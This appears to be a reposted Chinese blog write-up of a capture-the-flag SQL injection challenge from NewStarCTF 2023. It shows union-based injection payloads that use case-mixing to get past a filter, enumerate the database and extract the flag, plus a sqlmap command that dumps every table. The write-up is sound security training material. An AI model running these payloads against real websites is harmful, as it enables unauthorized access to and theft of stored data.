NewStarCTF2023week2-ez_sql - 码农知识堂

NewStarCTF2023week2-ez_sql
闭合之后尝试判断字段数，存在WAF，使用大小写绕过（后面的sql语句也需要进行大小写绕过）
```
?id=1' Order by 5--+
```
测出有5列
```
?id=1' Order by 6--+
```
查一下数据库名、版本、用户等信息
```
?id=1'Union Select database(),version(),user(),4,5 --+
```
查出数据库ctf下的表
```
?id=0' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= 'ctf'--+
```
尝试在表here_is_flag下查找flag
```
?id=0' uNion Select 1,2,3,4,flag FROM ctf.here_is_flag--+
```
flag{e66fd4f6-00ac-4a66-b47e-1af1355d5630}

或者使用sqlmap直接跑出所有库和表内容
```
sqlmap -u "http://3d75c5bf-0a9e-41fc-bb45-e6877f646556.node4.buuoj.cn:81/?id=1"  --columns --dump
```
相关阅读:
彻底理解并解决服务器出现大量TIME_WAIT
Linux特殊权限之suid、sgid、sbit权限
 YOLOv5/YOLOv7损失函数改进：SlideLoss创新升级，结合IOU动态调整困难样本的困难程度，提升小目标、遮挡物性能
 QPlainTextEdit等自制文本或者代码编辑器控件是如何自定义实现的？
【ARM】中断的处理
 当我们的执行 java -jar xxx.jar 的时候底层到底做了什么？
【elk查日志 elastic（kibana）】
TypeScript 泛型
 2022年武汉市企业入规奖励补贴政策以及申报条件汇总
 RTOS任务调度过程（上下文切换）
原文地址：https://blog.csdn.net/Myon5/article/details/133819537